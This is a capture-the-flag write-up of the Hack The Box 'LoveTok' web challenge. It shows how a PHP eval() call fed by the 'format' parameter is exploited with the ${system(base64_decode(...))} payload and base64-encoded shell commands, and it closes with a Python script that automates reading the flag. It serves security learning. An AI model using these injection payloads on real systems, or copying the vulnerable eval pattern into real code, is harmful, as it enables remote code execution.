Hackthebox LoveTok writeup
Column | Details |
---|---|
Name | LoveTok |
Points | 20 |
Category | Web |
Difficulty | Easy |
Creator | Makelarisjr & Makelaris |
Brief :
We are given the source code for the website hosted , There is a feature that will tell you the time you will get your true love. That time is Evaluate
with the help of a eval()
function and the eval function is a vulnerable to Command Injection
itself , Exploiting the Command injection to get the flag
Pwned
The Webpage
We are given a Pretty nice website , Its looking very nice.
If i click on the link Nah, that doesn't work for me. Try again!
, It takes me to the the following url
Source Code Review
I am also given a zip file which contains the source code for the webiste
Directory structure after unzipping the zip file
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
root at 0xprashant-parrot in /home/prashant/hackthebox/challenges/lovetok
$ tree web_lovetok
web_lovetok
├── build_docker.sh
├── challenge
│ ├── assets
│ │ ├── cyberpunk.gif
│ │ └── favicon.png
│ ├── controllers
│ │ └── TimeController.php
│ ├── index.php
│ ├── models
│ │ └── TimeModel.php
│ ├── Router.php
│ ├── static
│ │ ├── css
│ │ │ └── main.css
│ │ ├── js
│ │ │ ├── koulis.js
│ │ │ └── main.js
│ │ └── koulis.gif
│ └── views
│ └── index.php
├── config
│ ├── fpm.conf
│ ├── nginx.conf
│ └── supervisord.conf
├── Dockerfile
├── entrypoint.sh
└── flag
9 directories, 18 files
The ?format=r
parameter is taking a value and printing the time based on that , The following code is doing so
/challenge/controllers/TimeController.php
1
2
3
4
5
6
7
8
9
10
11
$ cat TimeController.php
<?php
class TimeController
{
public function index($router)
{
$format = isset($_GET['format']) ? $_GET['format'] : 'r';
$time = new TimeModel($format);
return $router->view('index', ['time' => $time->getTime()]);
}
}
As we can see that the format
parameter making a get request and then that value is being gone through the new function getTime()
The getTime()
fucntion is coded in the following file with the following code
/challenge/models/TimeModel.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
class TimeModel
{
public function __construct($format)
{
$this->format = addslashes($format);
[ $d, $h, $m, $s ] = [ rand(1, 6), rand(1, 23), rand(1, 59), rand(1, 69) ];
$this->prediction = "+${d} day +${h} hour +${m} minute +${s} second";
}
public function getTime()
{
eval('$time = date("' . $this->format . '", strtotime("' . $this->prediction . '"));');
return isset($time) ? $time : 'Something went terribly wrong';
}
}
If we take a close look at the getTime()
function
1
2
3
4
5
public function getTime()
{
eval('$time = date("' . $this->format . '", strtotime("' . $this->prediction . '"));');
return isset($time) ? $time : 'Something went terribly wrong';
}
There is a very vulnerable function is being used that is eval()
I already knew that eval()
is vulnerable to command injection vulnerability , You can read abput eval() and its vulnerability here
https://beaglesecurity.com/blog/vulnerability/php-code-injection.html
Command injection
I first tried the following payload format=system(id)
but that doesn’t work , after taking few minutes i thought of another thing and that is embedded variable
in a string , its a php property
Basically we can embed a variable in a string or we can get a variable value with the help of ${var}
.
https://stackoverflow.com/questions/5571624/what-does-mean-in-php-syntax
https://www.php.net/manual/en/language.variables.variable.php
So my new payload goes like this ${system(id)}
and the url goes something like this
http://ip:port/?format=${system(id)}
So we got the command working here , next is to read the flag
The flag
Now i did a ls
but flag is not present here , As i can see from the source its in the previous directory
so i tried to list the previous dir but i got an internal error
And if i use a space in between the command the browser will url encode
this and there will be a %20
in between the command that i guess will not run on the server side.
I tried to use the $IFS
in between the command instead of the space
but that also gave me an internal error as obvious
What i am going to do next is base64
encode the command locally and then , Going to use the base64_decode
function
the command goes like this ${system(base64_decode(b64-encoded-command))}
You can use my friend’s website to encode/decode base64
http://www.whatinfotech.com/online-base64-encoder-and-decoder/
If i encode the ls ../
to base64 the result will be bHMgLi4v
the final url including payload will be
As a result
I can see the flag
To read the flag i have to use following command cat ../flagzPcfH
, base64 encode Y2F0IC4uL2ZsYWd6UGNmSA==
But that gives me again internal error
and i know why , Because of that ==
at last in the base64 encoded string
To get rid of that ==
i will simply use the command cat ../flag*
, base64 encoded Y2F0IC4uL2ZsYWcq
Now the final url will be
http://ip:port/?format=${system(base64_decode(Y2F0IC4uL2ZsYWcq))}
Got the flag !!
I have scripted the whole thing
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import requests
import base64
import re
# Creating session for the webpage
req = requests.session()
url = "http://138.68.189.41:30327/?format=r"
# Base64 encode the flag
def base64_encode(payload):
payload = payload.encode("ascii")
base64_payload = base64.b64encode(payload)
base64_payload = base64_payload.decode("ascii")
return base64_payload
# Payload to get flag
payload = "cat ../flag*"
base64_payload = base64_encode(payload)
# sending the payload
r = req.get(url+";${system(base64_decode("+base64_payload+"))}")
# Regex to find flag
flag = re.search("HTB{.*",r.text)
print("Flag for the challenge LoveTok is : " + flag[0])
Thanks for reading the writeup , If you want to support me you can on BuymeaCoffee , And You can connect on twitter with you https://twitter.com/0xprashant , I will make sure that i will give you a follow back.
If you want to get notified as soon as i upload something new to my
blog
So just click on the bell icon you are seeing on the right side – > and allow pushnotification
Comments powered by Disqus.